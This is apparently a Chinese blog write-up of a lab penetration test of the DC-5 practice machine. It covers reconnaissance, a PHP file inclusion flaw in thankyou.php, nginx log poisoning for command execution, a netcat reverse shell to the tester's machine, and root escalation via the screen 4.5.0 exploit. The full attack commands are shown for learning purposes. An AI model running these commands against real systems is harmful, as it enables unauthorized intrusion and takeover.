信息收集
老姿势了,信息收集三板斧netdiscover
,nmap
和dirsearch
。(因为靶机和测试机都在同一个局域网内所以我用了netdiscover来代替)
靶机ip192.168.1.12
,测试机ip192.168.1.11
1 | nmap -A 192.168.1.12 -p 1-10000 |
nmap扫描,因为怕出现上次的端口迁移,这里我扫了前一万个端口
发现不光开放了80端口,还有一个111的端口也开放了,先记下来以备后用。浏览一下对应的web端,在祭出dirsearch
扫描一波。
嗯,光看扫描结果有点惨淡。
寻找漏洞
web端是nginx的中间件,php语言,在Contact处有一个交互页面,可以提交内容,估计这里就是可利用点
随手交了一个内容,get传参,上方网址变为:
1 | http://192.168.1.12/thankyou.php?firstname=1&lastname=1&country=australia&subject=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E |
多次刷新thankyou.php
页面发现了一个小细节XD。页面最下面的Copyright@2017
的年份会变化。来来来我们研究一下这个页面。
网站是php写的,但是我们没有扫出来thankyou.php,所以要换一个扫描,这里使用了dirb工具,参考我是链接
1 | dirb http://192.168.1.12/ /usr/share/wordlists/dirb/big.txt -X .php -S |
/footer.php
会变动,推测是文件包含漏洞,参考我是链接
严格来说,文件包含漏洞是“代码注入”的一种。在“注入攻击”一章中,曾经提到过“代码注入”这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。“代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下。
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), …
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), …
ASP:include file, include virtual, …
在互联网的安全历史中,PHP的文件包含漏洞已经臭名昭著了,因为黑客们在各种各样的PHP应用中挖出了数不胜数的文件包含漏洞,且后果都非常严重。
文件包含是PHP的一种常见用法,主要由4个函数完成:
include()
require()
include_once()
require_once()
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有用。比如以下代码:
要想成功利用文件包含漏洞,需要满足下面两个条件:
(1)include()等函数通过动态变量的方式引入需要包含的文件;
(2)用户能够控制该动态变量。
先确定该传参变量名,可以考虑使用burp爆破变量名,我们首先确定了index.php的存在,所以构造
1 | GET /thankyou.php?§A§=index.php |
可知动态变量名为file。然后就用该变量访问敏感信息。
有了!考虑该服务器没有登录框,也没开放ssh端口,这种情况下要让我们获得shell有两种想法
- 写入一句话木马,webshell工具链接
- 写入nc回弹shell
利用漏洞
由nmap结果我们可知,nginx的中间件会有access.log
这个文件来记录访问信息,同时会有error.log
这个文件来记录错误信息。这里构造
1 | GET /thankyou.php?file=system($_GET['cmd']) HTTP/1.1 |
再通过GET /thankyou.php?file=/var/log/nginx/error.log&cmd=ls
查看回显来看我们是否利用了该文件包含漏洞。回显如下
发现有回显!说明我们调用的cmd参数可以作为命令来远程执行,接下来可以直接传递nc命令来反弹shell。我也试过连接webshell工具。但是不知道为什么,蚁剑和冰蝎都无法连接上去QAQ,太奇怪了。
访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。
1 | GET /thankyou.php?file=/var/log/nginx/error.log&cmd=nc -e /bin/sh 192.168.1.11 5200 HTTP/1.1 |
使用如上命令来nc反弹shell,当然,测试机上要先
1 | nc -lnvp 5200 |
如此以来,我们成功得到shell!
换成交互式python -c "import pty;pty.spawn('/bin/bash')"
GET!XD
权限提升
首先码一个超强的提权总和 我是链接
然后就是常规的提权操作啦,先查询s权限
1 | find / -perm -u=s -type f 2>/dev/null |
这里参考了一下eson的wp,发现exim4
有一个46996.sh的提权脚本可利用,思路先往这里放一放XD
首先发现exim的版本exim4 --version
分析了一下46996.sh的版本,发现不是很匹配,,,所以换了上文链接中的screen提权
1 | searchsploit screen 4.5.0 |
这里注意一下,msf的提权脚本路径/usr/share/exploitdb/exploits
后加上不同的路径
这里我们打开了41154.sh文件,发现它的运行方式有点东西
1 | !/bin/bash |
就是说要本地分两部分gcc编译,编译完的文件在上传到靶机。
上传使用nc传文件,方便且不用Python部署服务器啦,ftp传递啦之类的
kali:
nc -lnvp 1234 < libhax.so
使用Ctrl+C
就可以打断靶机的接收并不影响shellnc -lnvp 1234 < rootshell
靶机
nc 192.168.1.11 1234 > libhax.so
nc 192.168.1.11 1234 > rootshell
注意,这里的操作尽量都在两台机器的/tmp文件夹里进行,因为该文件夹下权限较大
然后再靶机上一次执行
1 | cd /etc |
如上命令,最后切换回/tmp文件,执行rootshell
1 | cd /tmp |
OK!获得最高权限!(研究这个提权脚本浪费了我太长太长时间了XD)
尾声
很有收获!学会了文件包含漏洞,以及一些提权方式。(终于摆脱了一次爆破密码这种玄学渗透一次XD)
但是也有点奇怪?为什么我的webshell工具无法连接???结果浪费了好长好长时间。
嘛,暂时就这样吧,毕竟确实学到了一点东西XD
- 本文作者: Isabella
- 本文链接: https://username.github.io/2021/02/19/DC5靶机渗透记录/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!